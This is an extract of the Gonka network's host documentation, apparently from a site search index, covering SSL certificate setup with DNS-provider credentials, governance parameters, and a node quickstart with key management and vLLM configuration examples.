PROJECT_ID=\"<your-gcp-project>\"\nSA_NAME=\"acme-dns\"\nSA_EMAIL=\"$SA_NAME@$PROJECT_ID.iam.gserviceaccount.com\"\n\ngcloud config set project \"$PROJECT_ID\"\n# 1) Service account\ngcloud iam service-accounts create \"$SA_NAME\" \\\n--display-name \"ACME DNS for proxy-ssl\"\n# 2) Role\ngcloud projects add-iam-policy-binding \"$PROJECT_ID\" \\\n--member \"serviceAccount:$SA_EMAIL\" \\\n--role \"roles/dns.admin\"\n# 3) Key → base64 (single line)\ngcloud iam service-accounts keys create key.json --iam-account \"$SA_EMAIL\"\nGCE_SERVICE_ACCOUNT_JSON_B64=$(base64 < key.json | tr -d '\\n')\n\necho \"GCE_PROJECT=$PROJECT_ID\"\necho \"GCE_SERVICE_ACCOUNT_JSON_B64=$GCE_SERVICE_ACCOUNT_JSON_B64\"\n1) IAM & Admin → Service Accounts → Create service account (e.g., acme-dns).
2) Grant the service account role: DNS Administrator (roles/dns.admin).
3) Service account → Keys → Add key → Create new key (JSON) → Download.
4) Base64-encode the JSON key to a single line and set GCE_SERVICE_ACCOUNT_JSON_B64. Set GCE_PROJECT to your project ID.
Azure DNS
Option A — Azure CLI (quick)
# 1) Login and choose subscription\naz login\naz account set --subscription \"<your-subscription-name-or-id>\"\n\n# 2) Set where your DNS zone lives\nRG=\"<<your-dns-resource-group>>\"\nZONE=\"<<your-zone>>\" # e.g., gonka.ai\nSP_NAME=\"gonka-acme-$(date +%s)\"\n\nSUBSCRIPTION_ID=$(az account show --query id -o tsv)\nSCOPE=\"/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RG/providers/Microsoft.Network/dnszones/$ZONE\"\n\nCREDS=$(az ad sp create-for-rbac \\\n--name \"$SP_NAME\" \\\n--role \"DNS Zone Contributor\" \\\n--scopes \"$SCOPE\" \\\n--only-show-errors)\n\n# 4) Extract values\nAZURE_CLIENT_ID=$(echo \"$CREDS\" | jq -r .appId)\nAZURE_CLIENT_SECRET=$(echo \"$CREDS\" | jq -r .password)\nAZURE_TENANT_ID=$(echo \"$CREDS\" | jq -r .tenant)\n\n# 5) Print for your env file\necho \"AZURE_CLIENT_ID=$AZURE_CLIENT_ID\"\necho \"AZURE_CLIENT_SECRET=$AZURE_CLIENT_SECRET\"\necho \"AZURE_SUBSCRIPTION_ID=$SUBSCRIPTION_ID\"\necho \"AZURE_TENANT_ID=$AZURE_TENANT_ID\"\n1) Go to Microsoft Entra ID → App registrations → New registration. Copy Application (client) ID and Directory (tenant) ID.
2) Go to Certificates & secrets → New client secret. Copy the secret value and set AZURE_CLIENT_SECRET.
3) Copy your Subscription ID and set AZURE_SUBSCRIPTION_ID.
4) In your DNS zone, open Access control (IAM) → Add role assignment → DNS Zone Contributor → assign to the registered app.
DigitalOcean DNSDigitalOcean DNS
1) Open DigitalOcean Control Panel.
2) Go to API → Tokens.
3) Generate a write‑scoped token and set DO_AUTH_TOKEN.
Hetzner DNS
1) Open https://dns.hetzner.com.
2) Go to API Tokens.
3) Create a new token and set HETZNER_API_KEY.
From deploy/join:
# Enable / upgrade only the proxy pieces\nsource ./config.env && \\\n docker compose --profile \"ssl\" \\\n -f docker-compose.yml -f docker-compose.mlnode.yml \\\n pull proxy proxy-ssl && \\\n docker compose --profile \"ssl\" \\\n -f docker-compose.yml -f docker-compose.mlnode.yml \\\n up -d proxy proxy-ssl\nproxy and proxy-ssl need to be (re)started for SSL changes. Other services can remain running."}, {"location": "gonka/docs/host/optional-ssl-setup/#4-verify", "title": "4) Verify", "text": "docker compose logs -n 200 proxy proxy-ssl\ncurl -I https://your.domain:8443/health # Expect: HTTP/2 200 OK\nAutomatic:
./secrets/nginx-ssl).You act when:
proxy-ssl.CERT_ISSUER_DOMAIN or subdomains → update env, ensure DNS records exist, then restart proxy and proxy-ssl.Commands to apply env changes:
source ./config.env && \\\n docker compose --profile \"ssl\" -f docker-compose.yml -f docker-compose.mlnode.yml up -d proxy proxy-ssl\n./secrets/nginx-ssl/.proxy (nginx) container serves TLS using cert/key files read from SSL_CERT_SOURCE.cert.pem (fullchain) and private.key (mode 0600) under deploy/join/secrets/nginx-ssl/.NGINX_MODE to both (recommended for migration) or https.SERVER_NAME to your full domain name and API_SSL_PORT to your HTTPS port (default 8443 in our stack).SSL_CERT_SOURCE=./secrets/nginx-ssl.CERT_ISSUER_DOMAIN (that is only for the automated Proxy SSL mode).mkdir -p secrets/nginx-ssl secrets/certbot\nDOMAIN=<FULL_DOMAIN_NAME>\nACCOUNT_EMAIL=<EMAIL_ADDRESS> # renewal notices\nmkdir -p secrets/nginx-ssl secrets/certbot\n\ndocker run --rm -it \\\n -v \"$(pwd)/secrets/certbot:/etc/letsencrypt\" \\\n -v \"$(pwd)/secrets/nginx-ssl:/mnt/nginx-ssl\" \\\n certbot/certbot certonly --manual --preferred-challenges dns \\\n -d \"$DOMAIN\" --email \"$ACCOUNT_EMAIL\" --agree-tos --no-eff-email \\\n --deploy-hook 'install -m 0644 \"$RENEWED_LINEAGE/fullchain.pem\" /mnt/nginx-ssl/cert.pem; \\\n install -m 0600 \"$RENEWED_LINEAGE/privkey.pem\" /mnt/nginx-ssl/private.key'\nCertbot will pause and show the TXT DNS record to add at your provider. After validation, cert.pem and private.key will appear in ./secrets/nginx-ssl/.
deploy/join/config.env", "text": "export NGINX_MODE=\"both\" # or https\nexport API_SSL_PORT=\"8443\" # HTTPS port served by proxy\nexport SERVER_NAME=\"${DOMAIN}\" # full domain name\nexport SSL_CERT_SOURCE=\"./secrets/nginx-ssl\"\n# IMPORTANT: do NOT set CERT_ISSUER_DOMAIN in Manual mode\nsource config.env && \\\n docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull proxy && \\\n docker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d --no-deps proxy\ncurl -I https://<FULL_DOMAIN_NAME>:8443/health # Expect: HTTP/2 200 OK\nIn Gonka, there are two main ways to propose and coordinate changes: Governance and Improvement Proposals.
"}, {"location": "gonka/docs/host/proposals/#improvement-proposals-off-chain", "title": "Improvement Proposals (off-chain)", "text": "Used to discuss long-term plans, major architectural ideas, and shape the community roadmap. They are similar to Bitcoin’s BIPs.
For off-chain improvement proposals, see the /proposals folder.
"}, {"location": "gonka/docs/host/proposals/#governance-proposals-on-chain", "title": "Governance Proposals (on-chain)", "text": "Used for changes that directly affect the network and require on-chain voting:
MsgUpdateParams)Governance power is earned through verifiable compute work, not passive coin ownership. By default, only 20% of each Host’s PoC-derived voting weight is activated automatically. To unlock the remaining 80%, Hosts must lock GNK coins as collateral, linking governance influence to real economic commitment. Technical details, including weight activation mechanics and collateral ratios, are covered in Gonka: Tokenomics.
Grace Period
For the first 180 epochs (approximately 6 months), new participants can participate in governance and earn voting weight through PoC alone, without collateral requirements. During this period, the full governance rights are available, while voting weight remains tied to verified compute activity.
"}, {"location": "gonka/docs/host/proposals/#key-governance-parameters", "title": "Key governance parameters", "text": "Parameter Current mainnet value Description Effect Min Deposit 500 GNK (500,000,000,000 ngonka) for regular proposals; 1000 GNK (1,000,000,000,000 ngonka) for expedited proposals. Minimum deposit required to submit a governance proposal and move it into the voting period. If the deposit is not met within the max deposit period, the proposal is removed without entering voting. Quorum 25% of total bonded PoC-weighted voting power (governance-parameterized). Minimum fraction of total bonded voting power that must participate in a proposal for its result to be valid.Yes, No, NoWithVeto, and Abstain all count toward quorum. If quorum is not reached, the proposal is rejected regardless of its Yes / No outcome. Majority Threshold >50% Yes votes for regular proposals; >66.7% for expedited proposals (configurable on-chain). Minimum fraction of Yes votes among non-abstaining votes required for a proposal to pass: Yes / (Yes + No + NoWithVeto). Voting weight is calculated proportionally to verified compute power. If this threshold is not met, the proposal is rejected even if quorum is achieved. Veto Threshold >33.4% NoWithVeto among all cast voting power, including Abstain in the denominator. A veto rejection occurs when NoWithVeto / (Yes + No + NoWithVeto + Abstain) > 0.334. Abstain does not add to NoWithVeto; it only increases the denominator. Acts as a safeguard against malicious or harmful proposals, even if they have majority support. A veto rejection currently burns the proposal deposit. All these parameters can be modified via governance proposals, allowing the network to dynamically adjust decision-making rules over time. Always query the live chain before announcing exact values:
inferenced query gov params -o json --node <NODE_URL>/chain-rpc/ \\\n | jq '.params | {\n min_deposit,\n expedited_min_deposit,\n voting_period,\n expedited_voting_period,\n quorum,\n threshold,\n expedited_threshold,\n veto_threshold,\n burn_vote_veto\n }'\nFor on-chain governance steps and full tally formulas, see the detailed guide and Voting on Proposals.
"}, {"location": "gonka/docs/host/quickstart/", "title": "Quickstart", "text": ""}, {"location": "gonka/docs/host/quickstart/#setting-up-your-chain", "title": "Setting up your chain", "text": "Host (hardware provider or node) contributes computational resources to the network and is rewarded based on the amount and quality of resources they provide.
To join the network, you need to deploy two services:
The guide describes a scenario in which both services are deployed on the same machine, and each Host has one ML Node. Services are deployed as Docker containers.
Live Demo — How to Launch a Node (Quickstart for Hosts)The video recording of the demo session for launching a node via the quickstart is available below. Some steps in the recording may differ from the instructions below, as the quickstart is updated continuously based on community feedback. Always follow the written quickstart - it reflects the current and correct procedure.
"}, {"location": "gonka/docs/host/quickstart/#prerequisites", "title": "Prerequisites", "text": "This section provides guidance on configuring your hardware infrastructure to participate in Gonka Network launch. The goal is to maximize protocol rewards by aligning your deployment with network expectations.
"}, {"location": "gonka/docs/host/quickstart/#supported-models", "title": "Supported models", "text": "The protocol supports governance-approved models for inference and Proof of Compute (PoC v2). On Gonka mainnet, each approved model has its own PoC group and reward tracking (multi-model PoC since upgrade v0.2.12).
Model ID RoleMiniMaxAI/MiniMax-M2.7 MiniMax M2.7 — base model and the active PoC model on the network moonshotai/Kimi-K2.6 Kimi K2.6 — being re-bootstrapped; participates alongside MiniMax once restored Authoritative model list (governance API)
Approved models can change between releases or epochs. Before you edit node-config.json, call the governance API and use each returned object’s \"id\" as the key under \"models\":
curl -sS http://node2.gonka.ai:8000/v1/governance/models\njq -r '.models[].id'. If node2.gonka.ai is unreachable, use another participant’s public API base URL (scheme, host, and port). The response also includes network parameters such as model_args; the node-config.json examples later show typical args for common hardware—adjust for your GPUs and benchmarks. You typically run one model per ML Node in node-config.json. Hosts may operate separate ML Nodes (or fleets) for MiniMax and Kimi.
Reference deploy configs in the repo
The deploy/join/ folder ships ready-to-use node-config-*.json files for every approved model and the most common GPU classes. Copy the one that matches your hardware to node-config.json instead of writing one from scratch:
deploy/join/node-config-kimik26-H200.json, deploy/join/node-config-kimik26-B200.jsondeploy/join/node-config-minimax-A100.json, deploy/join/node-config-minimax-H100.json, deploy/join/node-config-minimax-H200.json, deploy/join/node-config-minimax-B200.jsonThe contents of these files are reproduced inline below for convenience.
If you will not run every approved model
Multi-model PoC tracks participation per model. If your hardware does not cover every governance-approved model, you will need on-chain delegation or refusal so your consensus weight is handled correctly for the models you skip. That is not required to bring a node online—you use the same Account (cold) key as in Grant Permissions to ML Operational Key, after registration and verification. Copy-paste commands are at the end: Optional: PoC delegation and refusal. For strategy and penalties, read Multi-Model PoC — Host Operations Guide.
Governance and model classification
To run a valid node, you need machines with supported GPU(s). Below is a reference layout:
Model Name ML Nodes (min) Example Hardware Minimum VRAM per ML Nodemoonshotai/Kimi-K2.6 ≥ 2 8× H200 or 8× B200 per MLNode (reference class) 640 GB MiniMaxAI/MiniMax-M2.7 ≥ 2 4× A100 / 4× H100 / 2× H200 / 2× B200 per MLNode ~320 GB This is a reference architecture. You may adjust node count or hardware allocation, but we recommend following the core principle: each node should support multiple ML Nodes across all model tiers.
For Kimi K2.6, the network uses a weight coefficient of approximately 3.51× Qwen235B on the same reference hardware (8×H200, 8×B200). See Multi-Model PoC — Host Operations Guide. Example vLLM arguments for B200-class hosts are in Kimi K2.6 Bootstrap and in the node-config.json examples below.
More details about the optimal deployment configuration can be found here.
The server hosting the Network Node should have:
The final requirements will depend on the number of ML Nodes connected and their total throughput.
Each server used to deploy an ML Node should have:
nvidia-smi.Gonka Network uses a proxy-based architecture to protect nodes from abuse and DDoS attacks. All public HTTP/HTTPS traffic MUST go through the proxy container. Direct exposure of Network Node or ML Node services is not secure.
Publicly exposed ports
The following ports may be exposed to the public internet:
WARNING: Internal ports
The following ports are internal-only and MUST NOT be publicly accessible:
If any of these ports are exposed to the public internet, your node is vulnerable. A third party can freely send requests, overload your ML Node, disrupt mining, or cause your node to drop out of an epoch.
Requirements:
Starting from Upgrade 0.2.8
To enhance security and performance by default, the following routing controls and chain service restrictions are automatically applied unless explicitly overridden.
API Manual Routes Control # Defines which routes bypass rate limits (Exempt) vs those completely disabled (Blocked)\n - GONKA_API_EXEMPT_ROUTES=chat inference\n - GONKA_API_BLOCKED_ROUTES=poc-batches training\n # Disables public access to Chain services by default\n - DISABLE_CHAIN_API=${DISABLE_CHAIN_API:-true}\n - DISABLE_CHAIN_RPC=${DISABLE_CHAIN_RPC:-true}\n - DISABLE_CHAIN_GRPC=${DISABLE_CHAIN_GRPC:-true}\nThe following cases describe internal port isolation for Network Node and ML Node services. These rules apply after the proxy is configured as the only public entry point. They do NOT replace the proxy and must be used together with it.
CASE 1: ML Node and Network Node on the SAME machineCASE 2: ML Node and Network Node on DIFFERENT machinesBind ports to localhost only.
Network Node (docker-compose.yml)
If your ML Node container and Network Node containers are on the same machine, you can simply edit gonka/deploy/join/docker-compose.yml:
api:\n ports:\n - \"127.0.0.1:9100:9100\"\n - \"127.0.0.1:9200:9200\"\nML Node (docker-compose.mlnode.yml)
ports:\n - \"127.0.0.1:${PORT:-8080}:8080\"\n - \"127.0.0.1:${INFERENCE_PORT:-5050}:5000\"\nDo NOT use:
In this setup, ALL communication between Network Node and ML Node must happen over a private network. Public IPs or public DNS names MUST NOT be used for:
DAPI_API__POC_CALLBACK_URLIf ML Node and Network Node containers are on different machines, the fix described in Case 1 won't work and the particular way of protecting these ports depends on your setup. You should setup connection between ML Node and Network containers either using the same docker network, or by setting up a private network between the machines, exposing the ports in this network and closing the port for public. In this case you should also properly set up DAPI_API__POC_CALLBACK_URL variable in config. This URL must point to a private/internal address, not a public address.
The quickstart instructions are designed to run both the Network Node and the inference node on a single machine (one server setup).
Multiple nodes deploymentIf you are deploying multiple GPU nodes, please refer to the detailed Multiple nodes deployment guide for proper setup and configuration. Whether you deploy inference nodes on a single machine or across multiple servers (including across geographical regions), all inference nodes must be connected to the same Network Node.
"}, {"location": "gonka/docs/host/quickstart/#key-management-overview", "title": "Key Management Overview", "text": "Before configuring your Network Node, you need to set up cryptographic keys for secure operations. It is recommended to read the Key Management Guide before launching a production node.
We use a three-key system:
The inferenced CLI is required for local account management and network operations. It's a command-line interface utility that allows you to create and manage Gonka accounts, register hosts, and perform various network operations from your local machine.
Choose the correct binary
GitHub releases may contain multiple inferenced artifacts.
For local CLI usage, always download an OS-specific packaged CLI build, for example:
inferenced-darwin-amd64.zipinferenced-darwin-arm64.zipinferenced-linux-amd64.zipinferenced-linux-arm64.zipDo not use generic inferenced binaries intended for upgrade paths or container/runtime environments. Those artifacts may not work correctly as a standalone CLI on your local machine.
Version requirement
Please make sure you are using an inferenced CLI build version 0.2.9 or newer. Older CLI versions are not supported for permission granting and may lead to unexpected behavior.
If you plan to submit governance proposals, especially proposals that use newer message types, use the latest published OS-specific CLI build.
Verify installation
chmod +x inferenced\n./inferenced --help\nmacOS Users
On macOS, you may need to allow execution in System Settings → Privacy & Security if prompted. Scroll down to the warning about inferenced and click Allow Anyway.
If the binary fails to start on Linux with an error similar to Error relocating ./inferenced: qsort_r: symbol not found, you most likely downloaded a non-CLI or upgrade-specific artifact instead of the OS-specific packaged CLI build. Re-download the correct archive for your operating system and architecture.
IMPORTANT: Perform this step on a secure, local machine (not your server)
About Account Key (Cold Key)The Account Key is your primary, high-privilege key. It is created locally and never stored on your servers.
Create your Account Key using the file keyring backend (you can also use os for enhanced security on supported systems):
./inferenced keys add gonka-account-key --keyring-backend file\nCLI will ask you for passphrase and show data about created key-pair.
❯ ./inferenced keys add gonka-account-key --keyring-backend file\nEnter keyring passphrase (attempt 1/3):\nRe-enter keyring passphrase:\n\n- address: gonka1rk52j24xj9ej87jas4zqpvjuhrgpnd7h3feqmm\n name: gonka-account-key\n pubkey: '{\"@type\":\"/cosmos.crypto.secp256k1.PubKey\",\"key\":\"Au+a3CpMj6nqFV6d0tUlVajCTkOP3cxKnps+1/lMv5zY\"}'\n type: local\n\n\n**Important** write this mnemonic phrase in a safe place.\nIt is the only way to recover your account if you ever forget your password.\n\npyramid sweet dumb critic lamp various remove token talent drink announce tiny lab follow blind awful expire wasp flavor very pair tell next cable\nCRITICAL: Write this mnemonic phrase down and store it in a secure, offline location. This phrase is the only way to recover your Account Key.
Hardware Wallet Support
Current Status: Hardware wallets are not yet supported at network launch.
For Now: Store your Account Key on a secure, dedicated machine with minimal internet exposure and strong encryption.
Important: Always keep your mnemonic phrase as a backup regardless of future hardware wallet adoption.
"}, {"location": "gonka/docs/host/quickstart/#server-download-deployment-files", "title": "[Server] Download Deployment Files", "text": "Clone the repository with the base deploy scripts:
git clone https://github.com/gonka-ai/gonka.git -b main && \\\ncd gonka/deploy/join\nAnd copy config file template:
cp config.env.template config.env\nAfter cloning the repository, you’ll find the following key configuration files:
File Descriptionconfig.env Contains environment variables for the Network Node docker-compose.yml Docker Compose file to launch the Network Node docker-compose.mlnode.yml Docker Compose file to launch the ML Node node-config.json The configuration file used by the Network Node, describes the inference nodes managed by this Network Node"}, {"location": "gonka/docs/host/quickstart/#server-setup-environment-variables", "title": "[Server] Setup Environment Variables", "text": "Configuration Required
Please complete the questionnaire to generate your config.env configuration. The environment variables depend on your choices (HTTP/HTTPS, SSL certificate method, etc.).
HTTPS Not Available Without Domain Name
SSL/TLS certificates can only be issued for domain names (e.g., example.com), not for direct IP addresses. Since you indicated you don't have a domain name configured, your node will be set up with HTTP only (port 8000).
If you need HTTPS security, you'll need to:
For production deployments, HTTPS is strongly recommended to encrypt API communications and protect sensitive data.
config.env
Copy the configuration above and proceed to edit the values as described below.
Copy to Clipboard ResetIf your node cannot connect to the default seed node, see the FAQ for details.
"}, {"location": "gonka/docs/host/quickstart/#server-edit-environment-variables", "title": "[Server] Edit Environment Variables", "text": "Which variables to edit:
All other variables can be left as is.
How to get variables from domain providers:
Cloudflare1) Open the Cloudflare Dashboard.
2) Go to Profile → API Tokens.
3) Click Create Token.
4) Use Edit zone DNS template or set permissions: Zone:Read and DNS:Edit.
5) Limit the token to your DNS zone and create it.
6) Copy the token and set CF_DNS_API_TOKEN.
Option A — AWS CLI
HOSTED_ZONE_ID=\"Z123EXAMPLE\"\ncat > route53-acme.json <<'JSON'\n{\n\"Version\": \"2012-10-17\",\n\"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Action\": [\"route53:ChangeResourceRecordSets\"],\n \"Resource\": \"arn:aws:route53:::hostedzone/${HOSTED_ZONE_ID}\"\n },\n {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"route53:ListHostedZones\",\n \"route53:ListHostedZonesByName\",\n \"route53:ListResourceRecordSets\",\n \"route53:GetChange\"\n ],\n \"Resource\": \"*\"\n }\n]\n}\nJSON\n\naws iam create-policy \\\n--policy-name acme-dns-route53-${HOSTED_ZONE_ID} \\\n--policy-document file://route53-acme.json | jq -r .Policy.Arn\n\nUSER_NAME=\"acme-dns\"\nPOLICY_ARN=$(aws iam list-policies --query \"Policies[?PolicyName=='acme-dns-route53-${HOSTED_ZONE_ID}'].Arn\" -o tsv)\naws iam create-user --user-name \"$USER_NAME\" >/dev/null || true\naws iam attach-user-policy --user-name \"$USER_NAME\" --policy-arn \"$POLICY_ARN\"\nCREDS=$(aws iam create-access-key --user-name \"$USER_NAME\")\nAWS_ACCESS_KEY_ID=$(echo \"$CREDS\" | jq -r .AccessKey.AccessKeyId)\nAWS_SECRET_ACCESS_KEY=$(echo \"$CREDS\" | jq -r .AccessKey.SecretAccessKey)\n\necho \"AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID\"\necho \"AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY\"\necho \"AWS_REGION=<your-aws-region>\"\nOption B — Console
1) Create an IAM policy limited to your hosted zone (ChangeResourceRecordSets and list permissions).
2) Create an IAM user with programmatic access.
3) Attach the policy to the user.
4) Create an access key pair and set AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_REGION.
Option A — gcloud CLI:
PROJECT_ID=\"<your-gcp-project>\"\nSA_NAME=\"acme-dns\"\nSA_EMAIL=\"$SA_NAME@$PROJECT_ID.iam.gserviceaccount.com\"\n\ngcloud config set project \"$PROJECT_ID\"\n# 1) Service account\ngcloud iam service-accounts create \"$SA_NAME\" \\\n--display-name \"ACME DNS for proxy-ssl\"\n# 2) Role\ngcloud projects add-iam-policy-binding \"$PROJECT_ID\" \\\n--member \"serviceAccount:$SA_EMAIL\" \\\n--role \"roles/dns.admin\"\n# 3) Key → base64 (single line)\ngcloud iam service-accounts keys create key.json --iam-account \"$SA_EMAIL\"\nGCE_SERVICE_ACCOUNT_JSON_B64=$(base64 < key.json | tr -d '\\n')\n\necho \"GCE_PROJECT=$PROJECT_ID\"\necho \"GCE_SERVICE_ACCOUNT_JSON_B64=$GCE_SERVICE_ACCOUNT_JSON_B64\"\n1) IAM & Admin → Service Accounts → Create service account (e.g., acme-dns).
2) Grant the service account role: DNS Administrator (roles/dns.admin).
3) Service account → Keys → Add key → Create new key (JSON) → Download.
4) Base64-encode the JSON key to a single line and set GCE_SERVICE_ACCOUNT_JSON_B64. Set GCE_PROJECT to your project ID.
Option A — Azure CLI (quick)
# 1) Login and choose subscription\naz login\naz account set --subscription \"<your-subscription-name-or-id>\"\n\n# 2) Set where your DNS zone lives\nRG=\"<<your-dns-resource-group>>\"\nZONE=\"<<your-zone>>\" # e.g., gonka.ai\nSP_NAME=\"gonka-acme-$(date +%s)\"\n\nSUBSCRIPTION_ID=$(az account show --query id -o tsv)\nSCOPE=\"/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RG/providers/Microsoft.Network/dnszones/$ZONE\"\n\nCREDS=$(az ad sp create-for-rbac \\\n--name \"$SP_NAME\" \\\n--role \"DNS Zone Contributor\" \\\n--scopes \"$SCOPE\" \\\n--only-show-errors)\n\n# 4) Extract values\nAZURE_CLIENT_ID=$(echo \"$CREDS\" | jq -r .appId)\nAZURE_CLIENT_SECRET=$(echo \"$CREDS\" | jq -r .password)\nAZURE_TENANT_ID=$(echo \"$CREDS\" | jq -r .tenant)\n\n# 5) Print for your env file\necho \"AZURE_CLIENT_ID=$AZURE_CLIENT_ID\"\necho \"AZURE_CLIENT_SECRET=$AZURE_CLIENT_SECRET\"\necho \"AZURE_SUBSCRIPTION_ID=$SUBSCRIPTION_ID\"\necho \"AZURE_TENANT_ID=$AZURE_TENANT_ID\"\n1) Go to Microsoft Entra ID → App registrations → New registration. Copy Application (client) ID and Directory (tenant) ID.
2) Go to Certificates & secrets → New client secret. Copy the secret value and set AZURE_CLIENT_SECRET.
3) Copy your Subscription ID and set AZURE_SUBSCRIPTION_ID.
4) In your DNS zone, open Access control (IAM) → Add role assignment → DNS Zone Contributor → assign to the registered app.
DigitalOcean DNS1) Open DigitalOcean Control Panel.
2) Go to API → Tokens.
3) Generate a write‑scoped token and set DO_AUTH_TOKEN.
1) Open https://dns.hetzner.com.
2) Go to API Tokens.
3) Create a new token and set HETZNER_API_KEY.
Load the configuration:
source config.env\nUsing Environment Variables
The examples in the following sections will reference these environment variables (e.g., $PUBLIC_URL, $ACCOUNT_PUBKEY, $SEED_API_URL) in both local machine commands and server commands. Make sure to run source config.env in each terminal session where you'll be executing these commands.
Note
The network currently supports MiniMaxAI/MiniMax-M2.7 as the active PoC model. The governance makes decisions on adding or modifying supported models. For details on how model governance works and how to propose new models, see the Transactions and Governance Guide.
Use this vLLM argument set for Kimi K2.6 on Blackwell 4×B200 or 8×B200, and as the reference for 8×H200 on the same layout (tensor_parallel_size 4 with expert parallelism across eight GPUs). Adjust only if your stack or benchmarking requires it.
Reference deploy config in the repo: deploy/join/node-config-kimik26-B200.json.
edit node-config.json
[\n {\n \"id\": \"node1\",\n \"host\": \"inference\",\n \"inference_port\": 5000,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"moonshotai/Kimi-K2.6\": {\n \"args\": [\n \"--tensor-parallel-size\", \"4\",\n \"--enable-expert-parallel\",\n \"--trust-remote-code\",\n \"--mm-encoder-tp-mode\", \"data\",\n \"--tool-call-parser\", \"kimi_k2\",\n \"--reasoning-parser\", \"kimi_k2\",\n \"--attention-backend\", \"FLASHINFER_MLA\",\n \"--disable-custom-all-reduce\",\n \"--gpu-memory-utilization\", \"0.95\",\n \"--max-num-seqs\", \"128\",\n \"--max-model-len\", \"240000\"\n ]\n }\n }\n }\n]\nThe same \"models\" block is used when registering or updating a node via the API; see Kimi K2.6 Bootstrap for an equivalent curl example.
Reference deploy config in the repo: deploy/join/node-config-kimik26-H200.json. Uses FLASHMLA attention and tensor_parallel_size=8 across all GPUs without expert parallelism.
edit node-config.json
[\n {\n \"id\": \"node1\",\n \"host\": \"inference\",\n \"inference_port\": 5000,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"moonshotai/Kimi-K2.6\": {\n \"args\": [\n \"--tensor-parallel-size\", \"8\",\n \"--enable-expert-parallel\",\n \"--trust-remote-code\",\n \"--mm-encoder-tp-mode\", \"data\",\n \"--tool-call-parser\", \"kimi_k2\",\n \"--reasoning-parser\", \"kimi_k2\",\n \"--attention-backend\", \"FLASHMLA\",\n \"--gpu-memory-utilization\", \"0.90\",\n \"--max-model-len\", \"240000\"\n ]\n }\n }\n }\n]\nUse this vLLM argument set for MiniMax M2.7 on 4×A100. A100 cannot use the FP8 FlashInfer MoE path, so this config uses the marlin MoE backend. You also need to set the env var VLLM_USE_FLASHINFER_MOE_FP8=0 for the mlnode-308 service (this is already pre-set in deploy/join/docker-compose.mlnode.yml shipped with MLNode 3.0.14).
Reference deploy config in the repo: deploy/join/node-config-minimax-A100.json.
edit node-config.json
[\n {\n \"id\": \"node1\",\n \"host\": \"inference\",\n \"inference_port\": 5000,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--moe-backend\", \"marlin\",\n \"--tensor-parallel-size\", \"4\",\n \"--gpu-memory-utilization\", \"0.95\",\n \"--max-num-seqs\", \"128\",\n \"--enable-auto-tool-choice\",\n \"--max-model-len\", \"180000\",\n \"--kv-cache-dtype\", \"fp8\",\n \"--tool-call-parser\", \"minimax_m2\",\n \"--reasoning-parser\", \"minimax_m2_append_think\"\n ]\n }\n }\n }\n]\nUse this vLLM argument set for MiniMax M2.7 on 4×H100. Uses the FLASHINFER attention backend with FP8 kv-cache.
Reference deploy config in the repo: deploy/join/node-config-minimax-H100.json.
edit node-config.json
[\n {\n \"id\": \"node1\",\n \"host\": \"inference\",\n \"inference_port\": 5000,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\", \"4\",\n \"--attention-backend\", \"FLASHINFER\",\n \"--gpu-memory-utilization\", \"0.92\",\n \"--max-num-seqs\", \"128\",\n \"--enable-auto-tool-choice\",\n \"--max-model-len\", \"180000\",\n \"--kv-cache-dtype\", \"fp8\",\n \"--tool-call-parser\", \"minimax_m2\",\n \"--reasoning-parser\", \"minimax_m2_append_think\"\n ]\n }\n }\n }\n]\nUse this vLLM argument set for MiniMax M2.7 on 2×H200 (Hopper reference class for MiniMax). Uses the FLASHINFER attention backend with FP8 kv-cache and tensor_parallel_size=2. The PoC golden vectors for MiniMax M2.7 were recorded on this exact configuration.
Reference deploy config in the repo: deploy/join/node-config-minimax-H200.json.
edit node-config.json
[\n {\n \"id\": \"node1\",\n \"host\": \"inference\",\n \"inference_port\": 5000,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\", \"2\",\n \"--attention-backend\", \"FLASHINFER\",\n \"--gpu-memory-utilization\", \"0.92\",\n \"--max-num-seqs\", \"128\",\n \"--enable-auto-tool-choice\",\n \"--max-model-len\", \"180000\",\n \"--kv-cache-dtype\", \"fp8\",\n \"--tool-call-parser\", \"minimax_m2\",\n \"--reasoning-parser\", \"minimax_m2_append_think\"\n ]\n }\n }\n }\n]\nUse this vLLM argument set for MiniMax M2.7 on 2×B200 (Blackwell reference class for MiniMax). Uses the FLASHINFER_TRTLLM MoE backend with FP8 kv-cache and tensor_parallel_size=2.
Reference deploy config in the repo: deploy/join/node-config-minimax-B200.json.
edit node-config.json
[\n {\n \"id\": \"node1\",\n \"host\": \"inference\",\n \"inference_port\": 5000,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\", \"2\",\n \"--moe-backend\", \"FLASHINFER_TRTLLM\",\n \"--gpu-memory-utilization\", \"0.92\",\n \"--max-num-seqs\", \"128\",\n \"--enable-auto-tool-choice\",\n \"--max-model-len\", \"180000\",\n \"--kv-cache-dtype\", \"fp8\",\n \"--tool-call-parser\", \"minimax_m2\",\n \"--reasoning-parser\", \"minimax_m2_append_think\"\n ]\n }\n }\n }\n]\nFor more details on the optimal deployment configuration, please refer to this link.
Validate the deployment
